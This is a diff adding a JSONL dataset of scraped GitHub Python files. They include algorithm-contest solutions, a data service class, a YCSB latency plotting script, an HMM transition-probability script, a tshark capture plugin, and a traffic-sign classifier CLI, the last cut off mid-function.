diff --git "a/4326.jsonl" "b/4326.jsonl" new file mode 100644--- /dev/null +++ "b/4326.jsonl" @@ -0,0 +1,586 @@ +{"seq_id":"1508606282","text":"import sys\nsys.setrecursionlimit(10**5)\nnum_subway = int(sys.stdin.readline())\nconn = [[i] for i in range(0, num_subway+1)]\nfor _ in range(num_subway):\n a, b = map(int, sys.stdin.readline().split())\n conn[a].append(b)\n conn[b].append(a)\n\nvisited = [False] * (num_subway+1)\nsurcle = []\n\ndef dfs(x, start, v):\n visited[x] = True\n if x in conn[start] or x == start:\n if v>=3:\n surcle.append(x)\n return\n for i in conn[x]:\n if visited[i] == False:\n dfs(i, start, v+1)\n visited[i] = False\n\nfor i in range(1, num_subway+1):\n dfs(i, i, 1)\n visited[i] = False\n\nt = num_subway +1\ndef mmin(start, v):\n global t\n visited[start] = True\n for i in conn[start]:\n if i in surcle:\n t = min(t, v)\n return\n if visited[i] != True:\n mmin(i, v+1)\n visited[i] = False\n\nbrray = []\nfor i in range(1, num_subway+1):\n if i in surcle:\n brray.append(0)\n else:\n mmin(i, 1)\n brray.append(t)\n t = num_subway+1\n visited[i] = False\n\nprint(*brray)\nprint(surcle)","repo_name":"YoungTae0406/bj-pg_Algorithm","sub_path":"16947_seoul_sbuway2line.py","file_name":"16947_seoul_sbuway2line.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39837525800","text":"# -*- coding: utf-8 -*-\nimport time\nimport json\nimport pandas as pd\nimport os\nimport sys\nimport cv2\n\ntry:\n import GlobalVariable as GV\nexcept ImportError:\n import app.dataService.GlobalVariable as GV\n\nclass DataService(object):\n def __init__(self):\n self.GV = GV\n print('=================================================')\n return\n\n def initialization(self, video_id):\n self.video_id = video_id\n result = {'test': 'test'}\n return result\n\n def test(self):\n print(self.GV.test)\n\n def get_stations_by_district(self,district):\n data = pd.read_csv(\"{}/station_info.csv\".format(GV.DATA_FOLDER))\n data = data[data[\"district\"]==district]\n\n result = json.loads(data.to_json(orient=\"records\"))\n\n return result\n \n def get_district_info(self,district):\n data = pd.read_csv(\"{}/district_info.csv\".format(GV.DATA_FOLDER))\n data = data[data[\"district\"]==district]\n\n result = json.loads(data.to_json(orient=\"records\"))\n result = result[0]\n\n return result\n \n def get_mapview_data(self,district):\n folder = \"{}/{}/\".format(GV.MAPVIEW_FOLDER,district)\n\n result = []\n for file in os.listdir(folder):\n file_path = folder + file\n with open(file_path, \"r\", encoding=\"utf-8\") as f:\n station_info = json.load(f)\n\n result.append(station_info) \n \n return result\n \n def get_station_info(self,station):\n with open(\"{}/DataView/{}.json\".format(GV.DATA_FOLDER,station),'r') as f:\n result = json.load(f)\n\n return result\n\n\nif __name__ == '__main__':\n dataService = DataService()\n\n\n\n\n","repo_name":"ThunderZH99/newCodingTemplate","sub_path":"newCodeTemplate/backend/app/dataService/dataService.py","file_name":"dataService.py","file_ext":"py","file_size_in_byte":1720,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"34836318152","text":"#!/usr/bin/env python\n\nimport math\nimport os\nimport pprint\nimport re\nimport sys\n\nsys.path.insert(0, \"%s/work/mutant/ec2-tools/lib/util\" % os.path.expanduser(\"~\"))\nimport Cons\nimport Util\n\nimport Conf\nimport Stat\n\n_dn_output = \"%s/.output\" % os.path.dirname(__file__)\n\n\ndef main(argv):\n Util.MkDirs(_dn_output)\n fn_plot_data = GetPlotData()\n fn_out = \"%s/ycsb-d-read-thrp-vs-lat.pdf\" % _dn_output\n\n with Cons.MT(\"Plotting ...\"):\n env = os.environ.copy()\n env[\"FN_IN\"] = fn_plot_data\n env[\"FN_OUT\"] = fn_out\n Util.RunSubp(\"gnuplot %s/ycsb-thrp-vs-lat.gnuplot\" % os.path.dirname(__file__), env=env)\n Cons.P(\"Created %s %d\" % (fn_out, os.path.getsize(fn_out)))\n\n\ndef GetPlotData():\n fn_out = \"%s/ycsb-d-by-iops\" % _dn_output\n if os.path.isfile(fn_out):\n return fn_out\n\n with Cons.MT(\"Generating plot data ...\"):\n ycsb_logs = {}\n fns_log = Conf.Get(\"RocksDB with local SSD\")\n #Cons.P(pprint.pformat(fns_log))\n for fn in fns_log:\n fn = fn.replace(\"~\", os.path.expanduser(\"~\"))\n if not os.path.isfile(fn):\n if not os.path.isfile(\"%s.bz2\" % fn):\n raise RuntimeError(\"Unexpected\")\n Util.RunSubp(\"cd && pbzip2 -d %s.bz2\" % (os.path.dirname(fn), fn))\n ycsb_log = YcsbLog(fn)\n #Cons.P(ycsb_log)\n ycsb_logs[ycsb_log.target_iops] = ycsb_log\n #Cons.P(pprint.pformat(ycsb_logs))\n\n fmt = \"%6d %10.3f\" \\\n \" %8.3f %3.0f %5.0f %5.0f %5.0f %6.0f %6.0f %6.0f %6.0f\" \\\n \" %8.3f %3.0f %5.0f %5.0f %5.0f %6.0f %6.0f %6.0f %6.0f\"\n with open(fn_out, \"w\") as fo:\n fo.write(\"# Latency in us\\n\")\n fo.write(\"%s\\n\" % Util.BuildHeader(fmt, \"target_iops iops\" \\\n \" r_avg r_1 r_25 r_50 r_75 r_90 r_99 r_99.9 r_99.99\" \\\n \" w_avg w_1 w_25 w_50 w_75 w_90 w_99 w_99.9 w_99.99\"))\n for ti, v in sorted(ycsb_logs.iteritems()):\n r = v.ReadLat()\n w = v.WriteLat()\n fo.write((fmt + \"\\n\") % (ti, v.op_sec\n , r.avg, r._1, r._25, r._50, r._75, r._90, r._99, r._999, r._9999\n , w.avg, w._1, w._25, w._50, w._75, w._90, w._99, w._999, w._9999\n ))\n Cons.P(\"Created %s %d\" % (fn_out, os.path.getsize(fn_out)))\n return fn_out\n\n\nclass YcsbLog:\n def __init__(self, fn):\n self.fn = fn\n # In us\n self.r_raw = []\n self.w_raw = []\n self.r_stat = None\n with open(fn) as fo:\n for line in fo:\n #Cons.P(line)\n if line.startswith(\"Command line: \"):\n self._ParseOptions(line)\n continue\n elif line.startswith(\"[READ], \"):\n # [READ], AverageLatency(us), 451.25953237986903\n mo = re.match(r\"\\[READ\\], AverageLatency\\(us\\), (?P(\\d|\\.)+).*\", line)\n if mo is not None:\n self.r_avg = float(mo.group(\"v\"))\n continue\n mo = re.match(r\"\\[READ\\], MinLatency\\(us\\), (?P(\\d|\\.)+)\", line)\n if mo is not None:\n self.r_min = float(mo.group(\"v\"))\n continue\n mo = re.match(r\"\\[READ\\], MaxLatency\\(us\\), (?P(\\d|\\.)+)\", line)\n if mo is not None:\n self.r_max = float(mo.group(\"v\"))\n continue\n mo = re.match(r\"\\[READ\\], 95thPercentileLatency\\(us\\), (?P(\\d|\\.)+)\", line)\n if mo is not None:\n self.r_95 = float(mo.group(\"v\"))\n continue\n mo = re.match(r\"\\[READ\\], 99thPercentileLatency\\(us\\), (?P(\\d|\\.)+)\", line)\n if mo is not None:\n self.r_99 = float(mo.group(\"v\"))\n continue\n elif line.startswith(\"[OVERALL], \"):\n mo = re.match(r\"\\[OVERALL\\], Throughput\\(ops\\/sec\\), (?P(\\d|\\.)+)\", line)\n if mo is not None:\n self.op_sec = float(mo.group(\"v\"))\n continue\n elif line.startswith(\"READ,\"):\n t = line.split(\",\")\n self.r_raw.append(int(t[2]))\n elif line.startswith(\"INSERT,\"):\n t = line.split(\",\")\n self.w_raw.append(int(t[2]))\n\n def _ParseOptions(self, line):\n # -db com.yahoo.ycsb.db.RocksDBClient -s -P workloads/workloadd -p rocksdb.dir=/mnt/local-ssd1/rocksdb-data/ycsb -threads 100 -p\n # status.interval=1 -p fieldcount=10 -p fieldlength=100 -p readproportion=0.95 -p insertproportion=0.05 -p recordcount=10000000 -p\n # operationcount=30000000 -p readproportion=0.95 -p insertproportion=0.05 -target 130000 -t\n mo = re.match(r\".+ -P (?P(\\w|\\/)+)\" \\\n \".* -target (?P\\d+).*\", line)\n # Make sure it's workload d\n if mo.group(\"workload_type\") != \"workloads/workloadd\":\n raise RuntimeError(\"Unexpected\")\n self.target_iops = int(mo.group(\"target_iops\"))\n\n def ReadLat(self):\n if self.r_stat is not None:\n return self.r_stat\n with Cons.MT(\"Generating read latency stat ...\"):\n self.r_stat = Stat.Gen(self.r_raw)\n return self.r_stat\n\n def WriteLat(self):\n if self.w_stat is not None:\n return self.w_stat\n with Cons.MT(\"Generating write latency stat ...\"):\n self.w_stat = Stat.Gen(self.w_raw)\n return self.w_stat\n\n def __repr__(self):\n return \" \".join(\"%s=%s\" % (k, v) for k, v in sorted(vars(self).iteritems()))\n\n\nclass StatPerSec:\n fmt = \"%5d %5d %8.2f %5d %8.2f %5d\"\n\n def __init__(self, line):\n #Cons.P(line)\n # 2016-09-12 23:50:15:208 1 sec: 1950 operations; 1948.05 current ops/sec;\n # est completion in 14 hours 15 minutes [READ: Count=1842, Max=120063,\n # Min=6640, Avg=24343.08, 90=43007, 99=114687, 99.9=118527, 99.99=120063]\n # [INSERT: Count=112, Max=118655, Min=8216, Avg=25360.89, 90=43807,\n # 99=117951, 99.9=118655, 99.99=118655]\n mo = re.match(r\"\\d\\d\\d\\d-\\d\\d-\\d\\d \\d\\d:\\d\\d:\\d\\d:\\d\\d\\d (?P\\d+) sec: \\d+ operations; (\\d|\\.)+ current ops/sec; .+\" \\\n \"READ: Count=(?P\\d+), Max=\\d+, Min=\\d+, Avg=(?P\\S+) .+\" \\\n \"INSERT: Count=(?P\\d+).+ Avg=(?P\\S+)\"\n , line)\n if mo is None:\n raise RuntimeError(\"Unexpected [%s]\" % line)\n\n self.timestamp = int(mo.group(\"timestamp\"))\n self.read_iops = int(mo.group(\"read_iops\"))\n if self.read_iops == 0:\n self.read_lat_avg = 0\n else:\n try:\n self.read_lat_avg = float(mo.group(\"read_lat_avg\")[:-1])\n except ValueError as e:\n Cons.P(\"%s [%s]\" % (e, line))\n sys.exit(0)\n self.ins_iops = int(mo.group(\"ins_iops\"))\n if self.ins_iops == 0:\n self.ins_lat_avg = 0\n else:\n self.ins_lat_avg = float(mo.group(\"ins_lat_avg\")[:-1])\n self.iops = self.read_iops + self.ins_iops\n\n @staticmethod\n def WriteHeader(fo):\n fo.write(\"%s\\n\" % Util.BuildHeader(StatPerSec.fmt,\n \"timestamp_in_sec\"\n \" read_iops\"\n \" read_lat_avg_in_us\"\n \" ins_iops\"\n \" ins_lat_avg_in_us\"\n \" iops\"\n ))\n\n def __str__(self):\n return StatPerSec.fmt % \\\n (self.timestamp\n , self.read_iops\n , self.read_lat_avg\n , self.ins_iops\n , self.ins_lat_avg\n , self.iops\n )\n\n\nif __name__ == \"__main__\":\n sys.exit(main(sys.argv))\n","repo_name":"hobinyoon/mutant-misc","sub_path":"rocksdb/ycsb/analysis/old/workload-d-by-target-iops/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":7010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43038771157","text":"from functools import lru_cache\nimport sys\nsys.setrecursionlimit(10**6)\n\n\n# 1+...+1000=(1+1000)*1000/2\n# 並び替え可能であれば、合計5*10**5回以下にできる\ndef main():\n n = int(input())\n P = list(map(int, input().split()))\n P = [p-1 for p in P]\n\n P_rev = [0]*n\n for i, p_i in enumerate(P):\n P_rev[p_i] = i\n\n # setup union find\n par = [i for i in range(n)]\n\n def find(x):\n if x == par[x]:\n return x\n par[x] = find(par[x])\n return par[x]\n\n def union(x, y):\n x = find(x)\n y = find(y)\n if x == y:\n return\n par[x] = y\n\n def same(x, y):\n return find(x) == find(y)\n\n m = int(input())\n swap_list = []\n nei_of = [[] for _ in range(n)]\n for i in range(m):\n a, b = map(int, input().split())\n a -= 1\n b -= 1\n if a > b:\n a, b = b, a\n swap_list.append((a, b, i))\n union(a, b)\n nei_of[a].append((b, i))\n\n # check\n for i, p in enumerate(P):\n if not same(i, p):\n print(-1)\n return\n\n @lru_cache(maxsize=None)\n def dfs(pre, target):\n # pre -> targetに行くまでに通るedgeのindex\n ret1 = []\n ret2 = False\n if pre == target:\n return tuple(ret1), True\n for cur, ind in nei_of[pre]:\n tmp1, tmp2 = dfs(cur, target)\n if tmp2:\n for t in tmp1:\n ret1.append(t)\n ret1.append(ind)\n ret2 = True\n break\n return tuple(ret1), ret2\n\n # make_ans\n ans_list = []\n for i in range(n):\n edge_list, _ = dfs(i, P_rev[i])\n # print(edge_list)\n for edge in edge_list:\n a, b, i = swap_list[edge]\n P_rev[P[a]], P_rev[P[b]] = P_rev[P[b]], P_rev[P[a]]\n P[a], P[b] = P[b], P[a]\n ans_list.append(i+1)\n # iとp_iと結ぶedgeを探す\n\n # print(P)\n print(len(ans_list))\n print(*ans_list)\n\n\nmain()\n","repo_name":"batamorphism/coding","sub_path":"Python/AtCoder/old/abc223_f.py","file_name":"abc223_f.py","file_ext":"py","file_size_in_byte":2040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20445122123","text":"import os\nimport codecs\nimport re\nimport pickle\nimport numpy as np\n\nfor cluster_id in range(13):\n data_dir = 'data' # basedir\n lengthes = [] # length of paths\n all_state = [] # all paths in a sequence\n all_los = [] # los for each state in all_state\n with codecs.open(os.path.join(data_dir, 'Clusters_with_durations.txt'), encoding='utf-8') as f:\n current_cluster = 0\n for line in f:\n if re.match(r'\\[(.*)\\]', line) and (current_cluster == cluster_id):\n states = [m.group(1) for m in re.finditer(r'\\'([A-Z]*)\\'', line)]\n duration = [int(m.group(1)) for m in re.finditer(r'[\\s,]+([0-9]+)[,\\]]+', line)]\n all_state.extend(states)\n all_los.extend(duration)\n lengthes.append(len(states))\n elif re.match(r'Cluster ([0-9]+)', line):\n current_cluster = int(re.match(r'Cluster ([0-9]+)', line).group(1))\n lengthes = np.array(lengthes, dtype=int)\n\n # transforming to NP arrays\n all_los = np.array(all_los, dtype=int)\n all_state = np.array(all_state, dtype=str)\n\n # building state dictionary and indexing\n all_state_index = np.unique(all_state)\n all_state_id = np.array(list(map(lambda a: np.where(all_state_index == a)[0][0], all_state)), dtype=int)\n print('Processing cluster #{0} with {1} cases in states {2}'.format(cluster_id, len(lengthes), all_state_index))\n\n # preparing mask showing CP starting positions in all_state\n all_start_mask = [False]*len(all_state)\n s_idx = 0\n for l in lengthes:\n all_start_mask[s_idx] = True\n s_idx += l\n all_start_mask = np.array(all_start_mask)\n\n # count transitions between states\n transition_count = np.zeros((len(all_state_index), len(all_state_index)), dtype=int)\n for i in range(1, len(all_state)):\n if not all_start_mask[i]:\n i1 = np.where(all_state_index == all_state[i-1])\n i2 = np.where(all_state_index == all_state[i])\n transition_count[i1, i2] += 1\n print(transition_count)\n\n if len(lengthes) < 50:\n print('Too few cases. SKIP')\n continue\n\n # count transitions and probs\n ppp = []\n for i in range(len(all_state_index)):\n print('Counting transfers from {0}... '.format(all_state_index[i]), end='')\n dst = all_state_index[transition_count[i] > 0]\n pp = []\n def get_los(src, dst):\n mask = (all_state[:-1] == src) & (all_state[1:] == dst) & ~all_start_mask[1:]\n return all_los[:-1][mask]\n t_los = [np.array(get_los(all_state_index[i], d)) for d in dst]\n\n if len(dst) > 0:\n t_range = np.linspace(1, max([max(dd) for dd in t_los]) - 1, 400)\n all_cases = sum([len(ld) for ld in t_los])\n p_x = [len(ld) / all_cases for ld in t_los]\n\n def count_transition_prob(t, los_data, p_x, los_data_idx, all_cases):\n p_t_x = sum(los_data[los_data_idx] > t) / len(los_data[los_data_idx])\n p_t = sum([sum(ld > t) for ld in los_data]) / all_cases\n return p_t_x * p_x[los_data_idx] / p_t\n\n for di in range(len(dst)):\n p = [count_transition_prob(t, t_los, p_x, di, all_cases) for t in t_range]\n pp.append(p)\n else:\n t_range = np.array([])\n pp = np.array(pp)\n ppp.append((all_state_index[i], dst, t_range, pp, t_los))\n print('DONE')\n\n # store with pickle\n with open(os.path.join('data', 'transfer_time_and_probs_cluster{0:0>2}.pkl'.format(cluster_id)), 'wb') as f:\n pickle.dump(ppp, f)\n","repo_name":"iterater/health-hmm","sub_path":"store_transition_data.py","file_name":"store_transition_data.py","file_ext":"py","file_size_in_byte":3622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27749308626","text":"# This plugin starts a tshark process and reads its output\n\nfrom .pluginbase import Pluginbase\nimport time\nfrom subprocess import Popen, PIPE\nimport os\nimport binascii\n\nclass Tshark(Pluginbase):\n\n defaults = {\n 'exe': '/usr/bin/tshark',\n 'interface': 'ens5',\n 'filter': 'tcp',\n 'write_pcap': 'no',\n 'pcap_dir': '/var/lib/pyp/pcap',\n 'pcap_strftime': '%Y%m%d%H%M%S',\n 'callback': None,\n }\n\n def run(self):\n cmd = [ self.exe, '-l', '-i', self.interface, '-f', self.filter, '-T', 'fields', '-e', 'data' ]\n if self.write_pcap in [ 'yes', 'true' ]:\n pcap = os.path.join(self.pcap_dir, '%s.pcap' % time.strftime(self.pcap_strftime))\n cmd += [ '-w', pcap ]\n tshark = Popen(cmd, bufsize=1, universal_newlines=True, stdout=PIPE, stderr=PIPE)\n while True:\n line = tshark.stdout.readline()\n if len(line) == 0:\n break\n line = line.rstrip()\n if len(line) > 0:\n self.callback(binascii.unhexlify(line))\n print(\"Tshark terminated. Output follows.\")\n stdout, stderr = tshark.communicate(timeout=5)\n print(stdout)\n print(stderr)\n","repo_name":"tinuzz/pyp","sub_path":"pyp/plugins/tshark.py","file_name":"tshark.py","file_ext":"py","file_size_in_byte":1221,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"5583603720","text":"__author__ = \"Jonathan Durand\"\r\n__email__ = \"jonathan.drnd@gmail.com\"\r\n\r\nimport cv2\r\nimport time,random\r\nimport os,shutil\r\nimport urllib.request\r\nimport zipfile\r\nimport click\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pickle,sys\r\nfrom models import *\r\nimport tensorflow as tf\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom PIL import Image\r\nfrom tensorflow.contrib.layers import flatten\r\n\r\nos.getcwd()\r\n########################################################################\r\nROWS=32\r\nCOLS=32\r\nNUM_CLASSES=43\r\n\r\n\r\ndef augment_brightness_camera_images(image):\r\n image1 = cv2.cvtColor(image, cv2.COLOR_RGB2HSV)\r\n random_bright = .10 + np.random.uniform()/3.0\r\n image1[:, :, 2] = image1[:, :, 2] * random_bright\r\n image1 = cv2.cvtColor(image1, cv2.COLOR_HSV2RGB)\r\n return image1\r\n\r\n\r\ndef transform_image(img):\r\n ang_range = 5\r\n ang_rot = np.random.uniform(ang_range) - ang_range / 2\r\n rows, cols, ch = img.shape\r\n Rot_M = cv2.getRotationMatrix2D((cols / 2, rows / 2), ang_rot, 1)\r\n img = cv2.warpAffine(img, Rot_M, (cols, rows))\r\n img = augment_brightness_camera_images(img)\r\n return img\r\n\r\n\r\ndef data_augmentation(X, Y):\r\n x1=[]\r\n y1=[]\r\n for i in range(X.shape[0]):\r\n x1.append(X[i])\r\n y1.append(Y[i])\r\n for num in range(3):\r\n x1.append(transform_image(X[i]))\r\n y1.append(Y[i])\r\n return np.array(x1), np.array(y1)\r\n\r\n\r\ndef print_download_progress(count, block_size, total_size):\r\n \"\"\"\r\n Function used for printing the download progress.\r\n Used as a call-back function in download().\r\n \"\"\"\r\n # Percentage completion.\r\n pct_complete = float(count * block_size) / total_size\r\n msg = \"\\r- File downloading: {0:.1%}\".format(pct_complete)\r\n # Print it.\r\n sys.stdout.write(msg)\r\n sys.stdout.flush()\r\n\r\n########################################################################\r\n\r\n\r\n@click.group()\r\ndef cli():\r\n pass\r\n\r\n@cli.command('download')\r\ndef download():\r\n url = \"http://benchmark.ini.rub.de/Dataset_GTSDB/FullIJCNN2013.zip\"\r\n download_dir = \"data/\"\r\n \"\"\"\r\n Download and extract the data if it doesn't already exist.\r\n Assumes the url is a zip file.\r\n :param url:\r\n Internet URL for the tar-file to download.\r\n Example: \"http://benchmark.ini.rub.de/Dataset_GTSDB/FullIJCNN2013.zip\"\r\n :param download_dir:\r\n Directory where the downloaded file is saved.\r\n Example: \"data/\"\r\n :return:\r\n Nothing.\r\n \"\"\"\r\n # Filename for saving the file downloaded from the internet.\r\n # Use the filename from the URL and add it to the download_dir.\r\n filename = url.split('/')[-1]\r\n file_path = os.path.join(download_dir, filename)\r\n # Check if the file already exists.\r\n # If it exists then we assume it has also been extracted,\r\n # otherwise we need to download and extract it now.\r\n if not os.path.exists(file_path):\r\n # Check if the download directory exists, otherwise create it.\r\n if not os.path.exists(download_dir):\r\n os.makedirs(download_dir)\r\n\r\n print(\"Extracting from: \",url )\r\n # Download the file from the internet.\r\n file_path, _ = urllib.request.urlretrieve(url=url,filename=file_path,reporthook=print_download_progress)\r\n\r\n print(\"Download finished in folder data/\")\r\n print(\"Done.\")\r\n else:\r\n print(\"Data has apparently already been downloaded\")\r\n print(\"Getting new, testing and training images images/train, images/test\")\r\n\r\n if file_path.endswith(\".zip\"):\r\n # Unpack the zip-file.\r\n print(\"We will extract only classification files \")\r\n download_file = download_dir + \"FullIJCNN2013.zip\"\r\n with zipfile.ZipFile(download_file, 'r') as zip:\r\n # printing all the contents of the zip file\r\n filelist = zip.filelist\r\n # extracting all the folders and ReadMe.txt\r\n for detail in filelist:\r\n name = detail.filename\r\n if name.count(\"/\") == 2:\r\n zip.extract(name, \"data/\")\r\n if name[-10:] == 'ReadMe.txt':\r\n zip.extract(name, \"data/\")\r\n\r\n print(\"We split the data 80% training and 20% testing in /images/train and /images/test\")\r\n X,Y= read_images()\r\n Xtrain,Xtest,Ytrain,Ytest = split(X,Y)\r\n save_images(Xtrain,Xtest,Ytrain,Ytest)\r\n\r\n\r\n@cli.command()\r\n@click.option('-m', default='model1', help='model1 (logistic scikit),model2 (logistic tensorflow),model3 (lenet tensorflow) , example model1')\r\n@click.option('-d', default='/images/train/',help='Path to directory with training data ,example /images/train')\r\ndef train(m, d):\r\n print(\"Training Phase\")\r\n if d[-1]!='/':\r\n d=d+\"/\"\r\n\r\n if not os.path.exists(\"data/FullIJCNN2013/\"):\r\n print(\"Please use first the next command (python app.py download)\")\r\n return\r\n\r\n if m==\"model1\":\r\n print(\"Task3: Logistic Regresion - Scikit\")\r\n logistic_regression_scikit(d,True)\r\n\r\n if m==\"model2\":\r\n print(\"Task4: Logistic Regresion - Tensorflow\")\r\n logistic_regression_tensorflow(d,True)\r\n\r\n if m==\"model3\":\r\n print(\"Task5: LeNet Architecture - Tensorflow\")\r\n lenet_tensorflow(d,True)\r\n\r\n@cli.command()\r\n@click.option('-m', default='model1', help='model1 (logistic scikit),model2 (logistic tensorflow),model3 (lenet tensorflow) ,example model1')\r\n@click.option('-d', default='/images/test/',help='Path to directory with training data ,example /images/test')\r\ndef test(m, d):\r\n print(\"Test Phase\")\r\n if d[-1]!='/':\r\n d=d+\"/\"\r\n\r\n if not os.path.exists(\"data/FullIJCNN2013/\"):\r\n print(\"Please use first the next command (python app.py download)\")\r\n return\r\n\r\n if m==\"model1\":\r\n if not os.path.isfile(\"models/model1/saved/model1.sav\"):\r\n print(\"Does not exist, model trained\")\r\n print(\"Please train first with the next command (python app.py test -m model1 -d images/test)\")\r\n return\r\n print(\"Task3: Logistic Regresion - Scikit\")\r\n logistic_regression_scikit(d,False)\r\n\r\n if m==\"model2\":\r\n if not os.path.isfile(\"models/model2/saved/checkpoint\"):\r\n print(\"Does not exist, model trained\")\r\n print(\"Please train first with the next command (python app.py test -m model2 -d images/test)\")\r\n return\r\n print(\"Task4: Logistic Regresion - Tensorflow\")\r\n logistic_regression_tensorflow(d,False)\r\n\r\n if m==\"model3\":\r\n if not os.path.isfile(\"models/model3/saved/checkpoint\"):\r\n print(\"Does not exist, model trained\")\r\n print(\"Please train first with the next command (python app.py test -m model3 -d images/test)\")\r\n return\r\n print(\"Task5: LeNet Architecture - Tensorflow\")\r\n lenet_tensorflow(d,False)\r\n\r\n@cli.command()\r\n@click.option('-m', default='model1', help='model1 (logistic scikit),model2 (logistic tensorflow),model3 (lenet tensorflow) ,example model1')\r\n@click.option('-d', default='/images/user/',help='Path to directory with training data ,example /images/user')\r\ndef infer(m, d):\r\n print(\"Inference Phase - Path \",d)\r\n if d[-1]!='/':\r\n d=d+\"/\"\r\n\r\n if not os.path.exists(\"data/FullIJCNN2013/\"):\r\n print(\"Please use first the next command (python app.py download)\")\r\n return\r\n\r\n if not os.path.exists(\"images\"):\r\n os.makedirs(\"images\")\r\n if not os.path.exists(\"images/user\"):\r\n os.makedirs(\"images/user\")\r\n\r\n #get label of every class (extracted from data/ReadMe.txt)\r\n label = get_label()\r\n label = np.array(label)\r\n Xinfer = []\r\n path_dir=d\r\n\r\n for file in os.listdir(path_dir):\r\n if os.path.isfile(os.path.join(path_dir, file)):\r\n if not file.endswith(\".txt\") and not file.endswith(\".zip\") \\\r\n and not file.endswith(\".gzip\") and not file.endswith(\".md\"):\r\n Xinfer.append(np.array(Image.open(os.path.join(path_dir, file))))\r\n Xinfer = np.array(Xinfer)\r\n _ = np.zeros(1)\r\n\r\n Xinfer, _ = preprocess_data(Xinfer, _)\r\n predictions = []\r\n\r\n if m == \"model1\":\r\n if not os.path.isfile(\"models/model1/saved/model1.sav\"):\r\n print(\"Does not exist, model trained\")\r\n print(\"Please train first with the next command (python app.py test -m model1 -d images/test)\")\r\n return\r\n Xinfer = Xinfer.reshape([Xinfer.shape[0], -1])\r\n print(\"Task6: Inference in Logistic Regresion - Scikit\")\r\n predictions = logistic_regression_scikit(d,False, 1, Xinfer)\r\n print(predictions)\r\n\r\n if m == \"model2\":\r\n if not os.path.isfile(\"models/model2/saved/checkpoint\"):\r\n print(\"Does not exist, model trained\")\r\n print(\"Please train first with the next command (python app.py test -m model2 -d images/test)\")\r\n return\r\n\r\n print(\"Task6: Inference in Logistic Regresion - Tensorflow\")\r\n Xinfer = Xinfer.reshape([Xinfer.shape[0], -1])\r\n predictions = logistic_regression_tensorflow(d,False, 2, Xinfer)\r\n print(predictions)\r\n\r\n if m == \"model3\":\r\n if not os.path.isfile(\"models/model3/saved/checkpoint\"):\r\n print(\"Does not exist, model trained\")\r\n print(\"Please train first with the next command (python app.py test -m model3 -d images/test)\")\r\n return\r\n print(\"Task6: Inference in LeNet Architecture - Tensorflow\")\r\n predictions = lenet_tensorflow(d,False, 3, Xinfer)\r\n print(predictions)\r\n\r\n predictions = np.array(predictions)\r\n cont = 0\r\n\r\n for file in os.listdir(path_dir):\r\n if os.path.isfile(os.path.join(path_dir, file)):\r\n if not file.endswith(\".txt\") and not file.endswith(\".zip\") \\\r\n and not file.endswith(\".gzip\") and not file.endswith(\".md\"):\r\n filepath = path_dir + file\r\n txt = str(\"Class \")\r\n txt = txt + str(predictions[cont])\r\n txt = txt + str(\": \")\r\n txt = txt + label[predictions[cont]]\r\n print(\"label: \", txt)\r\n x = plt.imread(filepath)\r\n plt.imshow(x)\r\n plt.title(txt)\r\n plt.show()\r\n cont = cont + 1\r\n\r\n\r\ndef save_images(Xtrain,Xtest,Ytrain,Ytest):\r\n \"\"\"\r\n Save images in directorys\r\n images/test -> testing data -- format png\r\n images/train ->training data -- format png\r\n \"\"\"\r\n if not os.path.exists(\"images\"):\r\n os.makedirs(\"images\")\r\n\r\n if os.path.exists(\"images/test\"):\r\n shutil.rmtree(\"images/test\")\r\n time.sleep(5)\r\n os.makedirs(\"images/test\")\r\n\r\n it=0\r\n for i in range(NUM_CLASSES):\r\n folder_class=\"images/test/\"+str(i)+\"/\"\r\n\r\n if not os.path.exists(folder_class):\r\n os.makedirs(folder_class)\r\n\r\n count=(Ytest==i).sum()\r\n for j in range(count):\r\n file_name=\"00\"\r\n if j<10:\r\n file_name = file_name + \"00\" + str(j) + \".png\"\r\n else:\r\n file_name = file_name + \"0\" + str(j) + \".png\"\r\n Image.fromarray(Xtest[it]).save(folder_class+file_name)\r\n it=it+1\r\n\r\n if os.path.exists(\"images/train\"):\r\n shutil.rmtree(\"images/train\")\r\n time.sleep(5)\r\n os.makedirs(\"images/train\")\r\n\r\n it = 0\r\n for i in range(NUM_CLASSES):\r\n folder_class = \"images/train/\" + str(i) + \"/\"\r\n\r\n if not os.path.exists(folder_class):\r\n os.makedirs(folder_class)\r\n\r\n count = (Ytrain == i).sum()\r\n for j in range(count):\r\n file_name = \"00\"\r\n if j < 10:\r\n file_name = file_name + \"00\" + str(j) + \".png\"\r\n else:\r\n file_name = file_name + \"0\" + str(j) + \".png\"\r\n Image.fromarray(Xtrain[it]).save(folder_class + file_name)\r\n it = it + 1\r\n\r\n\r\ndef split(X,Y, thres=0.8):\r\n \"\"\"\r\n Split dataset\r\n Arguments:\r\n - X: Image data\r\n - Y: Labels\r\n - thres: Percentage of split in training\r\n Returns:\r\n - Xtrain: Image Training data\r\n - Ytrain: Labels Training data\r\n - Xtest: Image Test data\r\n - Ytest: Labels Test data\r\n\r\n \"\"\"\r\n\r\n n=X.shape[0]\r\n order=np.argsort(Y)\r\n X2=X\r\n Y2=Y\r\n\r\n for i in range(n):\r\n X2[i]=X[order[i]]\r\n Y2[i]=Y[order[i]]\r\n\r\n X=X2\r\n Y=Y2\r\n Xtrain=[]\r\n Xtest=[]\r\n Ytrain=[]\r\n Ytest=[]\r\n\r\n start=0\r\n for i in range(NUM_CLASSES):\r\n # We choose percentage (thres) to training for every class.\r\n count= (Y==i).sum()\r\n select= int(count*thres+0.6)\r\n #We have to leave at least one image to testing\r\n if select==count:\r\n select=select-1\r\n #random\r\n choice= np.random.choice(count,select,replace=False)\r\n for j in range(count):\r\n if j in choice:\r\n Xtrain.append(X[j+start])\r\n Ytrain.append(Y[j+start])\r\n else:\r\n Xtest.append(X[j+start])\r\n 